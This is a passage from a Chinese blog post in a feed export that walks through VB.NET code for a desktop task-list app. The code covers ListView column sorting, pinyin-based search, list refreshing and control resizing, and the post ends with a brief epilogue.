column. Sort ascending.\r\n                sort_order = SortOrder.Ascending\r\n            End If\r\n            ' Remove the old sort indicator.\r\n            m_SortingColumn.Text = m_SortingColumn.Text.Substring(0, m_SortingColumn.Text.Length - 1)\r\n        End If\r\n        ' Display the new sort order.\r\n        m_SortingColumn = new_sorting_column\r\n        If sort_order = SortOrder.Ascending Then\r\n            m_SortingColumn.Text \u0026= \u0022▲\u0022\r\n        Else\r\n            m_SortingColumn.Text \u0026= \u0022▼\u0022\r\n        End If\r\n        ' Create a comparer.\r\n        sender.ListViewItemSorter = New ClsListviewSorter(e.Column, sort_order)\r\n        ' Sort.\r\n        sender.Sort()\r\n    End Sub","lang":"vb","hash":"pj5861"} --><div class="wp-block-origami-prism"><pre class="line-numbers match-braces rainbow-braces language-vb"><code class="language-vb">     Private Sub List_Remains_ColumnClick(sender As Object, e As ColumnClickEventArgs) Handles list_Remains.ColumnClick        ' Get the new sorting column.        Dim new_sorting_column As ColumnHeader = sender.Columns(e.Column)        ' Figure out the new sorting order.        Dim sort_order As System.Windows.Forms.SortOrder        If m_SortingColumn Is Nothing Then            ' New column. Sort ascending.            sort_order = SortOrder.Ascending        Else ' See if this is the same column.            If new_sorting_column.Equals(m_SortingColumn) Then                ' Same column. Switch the sort order.                If m_SortingColumn.Text.EndsWith("▲") Then                    sort_order = SortOrder.Descending                Else                    sort_order = SortOrder.Ascending                End If            Else                ' New column. Sort ascending.                sort_order = SortOrder.Ascending            End If            ' Remove the old sort indicator.            m_SortingColumn.Text = m_SortingColumn.Text.Substring(0, m_SortingColumn.Text.Length - 1)        End If        ' Display the new sort order.        m_SortingColumn = new_sorting_column        If sort_order = SortOrder.Ascending Then            m_SortingColumn.Text &amp;= "▲"        Else            m_SortingColumn.Text &amp;= "▼"        End If        ' Create a comparer.        sender.ListViewItemSorter = New ClsListviewSorter(e.Column, sort_order)        ' Sort.        sender.Sort()    End Sub</code></pre></div><!-- /wp:origami/prism --><!-- wp:heading {"level":3} --><h3>4、列表搜索</h3><!-- /wp:heading --><!-- wp:heading {"level":4} --><h4><strong>4.1、将输入框中的字符转换为小写的拼音</strong></h4><!-- /wp:heading --><!-- wp:origami/prism {"content":"    Public Function ToPinyin(ByVal chars As String) As String\r\n        Dim pinyin As String = \u0022\u0022\r\n        Dim charArray() As Char = chars.ToCharArray\r\n        Dim frmt As hyjiacan.py4n.PinyinFormat = hyjiacan.py4n.PinyinFormat.WITHOUT_TONE Or hyjiacan.py4n.PinyinFormat.LOWERCASE Or hyjiacan.py4n.PinyinFormat.WITH_V\r\n        For Each c As Char In charArray\r\n            If hyjiacan.py4n.PinyinUtil.IsHanzi(c) Then\r\n                pinyin += hyjiacan.py4n.Pinyin4Net.GetPinyin(c, frmt)(0)\r\n            Else\r\n                pinyin += c\r\n            End If\r\n        Next\r\n        Return pinyin\r\n    End Function","lang":"vb","hash":"w1gs0s"} --><div class="wp-block-origami-prism"><pre class="line-numbers match-braces rainbow-braces language-vb"><code class="language-vb">    Public Function ToPinyin(ByVal chars As String) As String        Dim pinyin As String = ""        Dim charArray() As Char = chars.ToCharArray        Dim frmt As hyjiacan.py4n.PinyinFormat = hyjiacan.py4n.PinyinFormat.WITHOUT_TONE Or hyjiacan.py4n.PinyinFormat.LOWERCASE Or hyjiacan.py4n.PinyinFormat.WITH_V        For Each c As Char In charArray            If hyjiacan.py4n.PinyinUtil.IsHanzi(c) Then                pinyin += hyjiacan.py4n.Pinyin4Net.GetPinyin(c, frmt)(0)            Else                pinyin += c            End If        Next        Return pinyin    End Function</code></pre></div><!-- /wp:origami/prism --><!-- wp:heading {"level":4} --><h4><strong>4.2、搜索列表中的项目</strong></h4><!-- /wp:heading --><!-- wp:origami/prism {"content":"    Private Sub ListSearch(Text As String)\r\n        Try\r\n            For i As Integer = 0 To RemainList.Count - 1\r\n                Dim oristr As String = RemainList(i).subject + RemainList(i).name + RemainList(i).detail + RemainList(i).progress + RemainList(i).url\r\n                Dim nowstr As String = ToPinyin(oristr)\r\n                If InStr(nowstr.ToLower, Text.ToLower) = 0 Then\r\n                    RemainList(i).show = False\r\n                Else\r\n                    RemainList(i).show = True\r\n                End If\r\n                If CheckBox5.Checked = False And RemainList(i).progress = \u0022通知\u0022 Then\r\n                    RemainList(i).show = False\r\n                Else\r\n                    If CheckBox6.Checked = False And RemainList(i).progress \u003c\u003e \u0022通知\u0022 Then\r\n                        If Split(RemainList(i).progress, \u0022/\u0022)(0) = Split(RemainList(i).progress, \u0022/\u0022)(1) Then\r\n                            RemainList(i).show = False\r\n                        End If\r\n                    End If\r\n                End If\r\n                RefreshList()\r\n            Next\r\n        Catch ex As Exception\r\n            Log.Error(ex.Message)\r\n        End Try\r\n    End Sub","lang":"vb","hash":"q28j18"} --><div class="wp-block-origami-prism"><pre class="line-numbers match-braces rainbow-braces language-vb"><code class="language-vb">    Private Sub ListSearch(Text As String)        Try            For i As Integer = 0 To RemainList.Count - 1                Dim oristr As String = RemainList(i).subject + RemainList(i).name + RemainList(i).detail + RemainList(i).progress + RemainList(i).url                Dim nowstr As String = ToPinyin(oristr)                If InStr(nowstr.ToLower, Text.ToLower) = 0 Then                    RemainList(i).show = False                Else                    RemainList(i).show = True                End If                If CheckBox5.Checked = False And RemainList(i).progress = "通知" Then                    RemainList(i).show = False                Else                    If CheckBox6.Checked = False And RemainList(i).progress &lt;> "通知" Then                        If Split(RemainList(i).progress, "/")(0) = Split(RemainList(i).progress, "/")(1) Then                            RemainList(i).show = False                        End If                    End If                End If                RefreshList()            Next        Catch ex As Exception            Log.Error(ex.Message)        End Try    End Sub</code></pre></div><!-- /wp:origami/prism --><!-- wp:heading {"level":4} --><h4>4.3、刷新列表（这在初始化中也会用到）</h4><!-- /wp:heading --><!-- wp:origami/prism {"content":"    Public Sub RefreshList()\r\n        list_Remains.Items.Clear()\r\n        For i = 0 To RemainList.Count - 1\r\n            With RemainList(i)\r\n                If .show = True Then\r\n                    Dim a = list_Remains.Items.Add(.subject)\r\n                    a.SubItems.AddRange({ .name, .detail, .progress, .url, .GlobalID})\r\n                    If .progress = \u0022通知\u0022 Then\r\n                        a.ForeColor = My.Settings.NotificationColor\r\n                        a.Font = My.Settings.NotificationFont\r\n                        a.StateImageIndex = 2\r\n                    Else\r\n                        Dim progress() As String\r\n                        progress = Split(.progress, \u0022/\u0022)\r\n                        If progress(0) = progress(1) Then\r\n                            a.ForeColor = My.Settings.FinishedColor\r\n                            a.Font = My.Settings.FinishedFont\r\n                            a.StateImageIndex = 1\r\n                        Else\r\n                            a.ForeColor = My.Settings.UnfinishedColor\r\n                            a.Font = My.Settings.UnfinishedFont\r\n                            a.StateImageIndex = 0\r\n                        End If\r\n                    End If\r\n                End If\r\n            End With\r\n        Next\r\n    End Sub\r\n﻿","lang":"vb","hash":"thseyf"} --><div class="wp-block-origami-prism"><pre class="line-numbers match-braces rainbow-braces language-vb"><code class="language-vb">    Public Sub RefreshList()        list_Remains.Items.Clear()        For i = 0 To RemainList.Count - 1            With RemainList(i)                If .show = True Then                    Dim a = list_Remains.Items.Add(.subject)                    a.SubItems.AddRange({ .name, .detail, .progress, .url, .GlobalID})                    If .progress = "通知" Then                        a.ForeColor = My.Settings.NotificationColor                        a.Font = My.Settings.NotificationFont                        a.StateImageIndex = 2                    Else                        Dim progress() As String                        progress = Split(.progress, "/")                        If progress(0) = progress(1) Then                            a.ForeColor = My.Settings.FinishedColor                            a.Font = My.Settings.FinishedFont                            a.StateImageIndex = 1                        Else                            a.ForeColor = My.Settings.UnfinishedColor                            a.Font = My.Settings.UnfinishedFont                            a.StateImageIndex = 0                        End If                    End If                End If            End With        Next    End Sub﻿</code></pre></div><!-- /wp:origami/prism --><!-- wp:heading {"level":3} --><h3>5、一些细节上的优化</h3><!-- /wp:heading --><!-- wp:paragraph --><p>例如使用<strong><code>GC.Collect()</code></strong>回收进程，这会防止你的程序内存溢出。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>其次，一些显示效果上的优化，下面的代码可以使你的控件自动调整大小以自适应屏幕分辨率。</p><!-- /wp:paragraph --><!-- wp:origami/prism {"content":"Private Sub FrmLoad(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load\r\nx = Me.Width\r\ny = Me.Height\r\nSetTag(Me)\r\nEnd Sub\r\n'递归取控件的原始大小和位置，用tag来纪录\r\nPrivate Sub SetTag(ByVal obj As Object)\r\nFor Each con As Control In obj.Controls\r\n'Application.DoEvents()\r\ncon.Tag = con.Width \u0026amp; \u0022:\u0022 \u0026amp; con.Height \u0026amp; \u0022:\u0022 \u0026amp; con.Left \u0026amp; \u0022:\u0022 \u0026amp; con.Top \u0026amp; \u0022:\u0022 \u0026amp; con.Font.Size\r\n'如果是容器控件，则递归继续纪录\r\nIf con.Controls.Count \u0026gt; 0 Then\r\nSetTag(con)\r\nEnd If\r\nNext\r\nEnd Sub\r\n'递归重新设定控件的大小和位置\r\nPrivate Sub SetControls(ByVal newx As Single, ByVal newy As Single, ByVal obj As Object)\r\nFor Each con As Control In obj.Controls\r\n'Application.DoEvents()\r\n'Try\r\ncon.AutoSize = False\r\nDim mytag() As String = con.Tag.ToString.Split(\u0022:\u0022)\r\ncon.Width = mytag(0) * newx\r\ncon.Height = mytag(1) * newy\r\ncon.Left = mytag(2) * newx\r\ncon.Top = mytag(3) * newy\r\ncon.AutoSize = con.AutoSize\r\n'计算字体缩放比例，缩放字体\r\nDim currentSize As Single = (mytag(1) * newy * mytag(4)) / mytag(1)\r\ncon.Font = New Font(con.Font.Name, currentSize, con.Font.Style, con.Font.Unit)\r\n'如果是容器控件，则递归继续缩放\r\nIf con.Controls.Count \u0026gt; 0 Then\r\nSetControls(newx, newy, con)\r\nEnd If\r\n'Catch ex As Exception\r\n' Log.Warn(ex.Message)\r\n'End Try\r\nNext\r\nEnd Sub\r\n\r\nPrivate Sub FrmResize(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Resize\r\n'得到现在窗体的大小，然后根据原始大小计算缩放比例\r\n'Application.DoEvents()\r\nDim newx As Single = Me.Width / x\r\nDim newy As Single = Me.Height / y\r\nSetControls(newx, newy, Me)\r\nEnd Sub","lang":"vb","hash":"wizxyl"} --><div class="wp-block-origami-prism"><pre class="line-numbers match-braces rainbow-braces language-vb"><code class="language-vb">Private Sub FrmLoad(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Loadx = Me.Widthy = Me.HeightSetTag(Me)End Sub'递归取控件的原始大小和位置，用tag来纪录Private Sub SetTag(ByVal obj As Object)For Each con As Control In obj.Controls'Application.DoEvents()con.Tag = con.Width &amp; ":" &amp; con.Height &amp; ":" &amp; con.Left &amp; ":" &amp; con.Top &amp; ":" &amp; con.Font.Size'如果是容器控件，则递归继续纪录If con.Controls.Count &gt; 0 ThenSetTag(con)End IfNextEnd Sub'递归重新设定控件的大小和位置Private Sub SetControls(ByVal newx As Single, ByVal newy As Single, ByVal obj As Object)For Each con As Control In obj.Controls'Application.DoEvents()'Trycon.AutoSize = FalseDim mytag() As String = con.Tag.ToString.Split(":")con.Width = mytag(0) * newxcon.Height = mytag(1) * newycon.Left = mytag(2) * newxcon.Top = mytag(3) * newycon.AutoSize = con.AutoSize'计算字体缩放比例，缩放字体Dim currentSize As Single = (mytag(1) * newy * mytag(4)) / mytag(1)con.Font = New Font(con.Font.Name, currentSize, con.Font.Style, con.Font.Unit)'如果是容器控件，则递归继续缩放If con.Controls.Count &gt; 0 ThenSetControls(newx, newy, con)End If'Catch ex As Exception' Log.Warn(ex.Message)'End TryNextEnd Sub<p>Private Sub FrmResize(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Resize<br />'得到现在窗体的大小，然后根据原始大小计算缩放比例<br />'Application.DoEvents()<br />Dim newx As Single = Me.Width / x<br />Dim newy As Single = Me.Height / y<br />SetControls(newx, newy, Me)<br />End Sub</code></pre></div></p><!-- /wp:origami/prism --><!-- wp:heading --><h2>尾声</h2><!-- /wp:heading --><!-- wp:paragraph --><p>总的来说，这个程序在某种意义上是我第一个完全使用Visual Studio编写的程序了，问题还是有不少的。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>至于任务存储使用json而不用数据库存储的原因，是因为我懒得改了╮(╯▽╰)╭。</p><!-- /wp:paragraph --><!-- wp:paragraph --><p>最后祝大家身体健康，再见。</p><!-- /wp:paragraph -->]]>
                </content>
            </entry>
</feed>
